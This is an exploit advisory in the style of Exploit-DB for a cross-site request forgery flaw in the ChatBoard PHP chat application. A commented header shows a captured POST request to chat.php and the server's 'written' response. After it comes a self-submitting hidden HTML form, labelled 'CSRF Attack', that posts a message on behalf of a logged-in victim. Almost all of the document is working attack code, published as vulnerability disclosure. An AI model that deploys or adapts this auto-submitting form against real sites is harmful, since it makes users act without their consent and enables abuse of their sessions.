Ultrabenosaurus ChatBoard - Cross-Site Request Forgery (Send Message)

<!-- 
# Exploit Title: Ultrabenosaurus ChatBoard - CSRF(Send Message)
# Date: 2016-06-14
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://ultrabenosaurus.ninja/
# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip
# Tested on: Debian [wheezy]

### Vulnerability Code
-----------------------------------------------------------------------------------------
POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://CSRF_NO_REFERE_CHECK
Content-Length: 8
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5
Connection: keep-alive

msg=CSRF
### Response
-----------------------------------------------------------------------------------------
HTTP/1.1 200 OK
Date: Tue, 14 Jun 2016 01:52:02 GMT
Server: Apache/2.4.10 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 7
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

written
-----------------------------------------------------------------------------------------

### Vulnerability Code
-->

<form name="csrf_poc" action="http://127.0.0.1/vul_test/ChatBoard/__original/chat.php" method="POST">
<input type="hidden" name="msg" value="CSRF">
<input type="submit" value="CSRF Attack">
</form>
<script type="text/javascript">document.forms.csrf_poc.submit();</script>